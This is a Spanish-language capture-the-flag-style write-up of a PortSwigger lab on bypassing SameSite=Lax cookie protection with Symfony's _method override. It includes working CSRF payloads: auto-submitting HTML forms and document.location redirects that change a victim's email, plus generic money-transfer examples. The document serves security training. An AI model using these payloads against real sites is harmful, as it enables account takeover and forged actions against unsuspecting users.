Entrada

SameSite Lax bypass via method override

Laboratorio de Portswigger sobre CSRF

SameSite Lax bypass via method override

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Para resolver este laboratorio, debemos explotar la vulnerabilidad de CSRF en la función de cambio de correo electrónico. Necesitaremos usar el Exploit server que nos proporcionan para hostear nuestro ataque. Podemos iniciar sesión en nuestra propia cuenta utilizando las credenciales wiener:peter. Las restricciones predeterminadas de SameSite difieren entre navegadores. Como la víctima usa Chrome, se recomienda usar Chrome o Chromium para probar el exploit


Guía de CSRF

Antes de completar este laboratorio es recomendable leerse esta guía de CSRF https://justice-reaper.github.io/posts/CSRF-Guide/

Resolución

Al acceder a la web vemos esto

Pulsamos sobre My account y nos logueamos con las credenciales wiener:peter

Vemos que hay un botón para cambiar el email

Si nos dirigimos a la extensión Logger ++ de Burpsuite vemos que al loguearnos se nos setea una cookie pero no tiene el atributo SameSite

Si nos abrimos las herramientas de desarrollador vemos que la cookie no tiene ese atributo, por lo tanto si estamos usando Chrome, se aplicarán las restricciones Lax SameSite por defecto. Las restricciones SameSite=Lax significan que los navegadores enviarán la cookie en solicitudes entre sitios web, pero solo si la solicitud utiliza el método GET y si la solicitud es el resultado de una navegación de nivel superior, es decir, que requiere interacción por parte del usuario, como hacer click en un enlace

En la práctica, los servidores no siempre son estrictos con respecto a si reciben una solicitud GET o POST en un determinado endpoint, incluso en aquellos que esperan el envío de un formulario. Si además utilizan restricciones Lax para sus cookies de sesión, ya sea de forma explícita o debido al comportamiento predeterminado del navegador, aún podríamos realizar un ataque CSRF provocando que el navegador de la víctima emita una solicitud GET. Siempre que la solicitud implique una navegación de nivel superior. Por ejemplo:

1
<script> document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000'; </script>

Incluso si no se permite una solicitud GET ordinaria, algunos frameworks proporcionan formas de sobrescribir el método especificado. Por ejemplo, Symfony admite el parámetro _method en formularios, el cual tiene prioridad sobre el método normal para propósitos de enrutamiento. Otros frameworks admiten una variedad de parámetros similares para sobrescribir el método de la solicitud

1
2
3
4
5
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>

Si inspeccionamos la forma en la que se envía el formulario para cambiar el correo electrónico, vemos esto

Anteriormente hemos visto que se está utilizando SameSite con el valor por defecto Lax, por lo tanto, si conseguimos hacer una petición GET que sea de navegación superior, podríamos lograr llevar a cabo un ataque CSRF. Si capturamos la petición para cambiar nuestro email, vemos que se transmite por POST

Si pulsamos click derecho > Change request method convertimos la petición a GET, sin embargo, nos dice que no acepta este método

Como hemos dicho antes algunos frameworks proporcionan formas de sobrescribir el método especificado. Con Symfony tenemos el método _method para sobrescribir el método de la petición, por lo tanto, si hacemos una petición por GET a /my-account/change-email?email=test%40gmail.com&_method=POST y sobrescribimos el método con _method la petición es exitosa

Podemos crear payloads si tenemos Burpsuite Professional pulsando click derecho > Engagements tools > Generate CSRF PoC

Se nos genera este payload, aunque es funcional, en la mayoría de ocasiones vamos a tener que retocarlo un poco para mejorar su desempeño

En mi caso prefiero hacer los payloads de forma manual

1
2
3
4
5
6
7
8
9
10
11
<html>
    <body>
        <form action="https://0a1300120392b3a2822110240029009e.web-security-academy.net/my-account/change-email" method="GET">
            <input type="hidden" name="_method" value="POST">
            <input type="hidden" name="email" value="pwned@gmail.com">
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Otra alternativa sería usar este otro payload

1
2
3
4
5
6
7
<html>
    <body>
        <script> 
            document.location = 'https://0a1300120392b3a2822110240029009e.web-security-academy.net/my-account/change-email?email=pwned@gmail.com&_method=POST';
        </script>
    </body>
</html>

Nos abrimos el Exploit server y pegamos cualquiera de los payloads anteriores

Si pulsamos en View exploit vemos como nos cambia el email. Independientemente del payload usado, para completar el laboratorio debemos pegarlo en el Exploit server y pulsar sobre Delivery exploit to victim. Debemos tener en cuenta que dos usuarios no pueden tener el mismo email, por lo tanto, debemos cambiar nuestro email o cambiar el email en el payload que enviamos

Esta entrada está licenciada bajo CC BY 4.0 por el autor.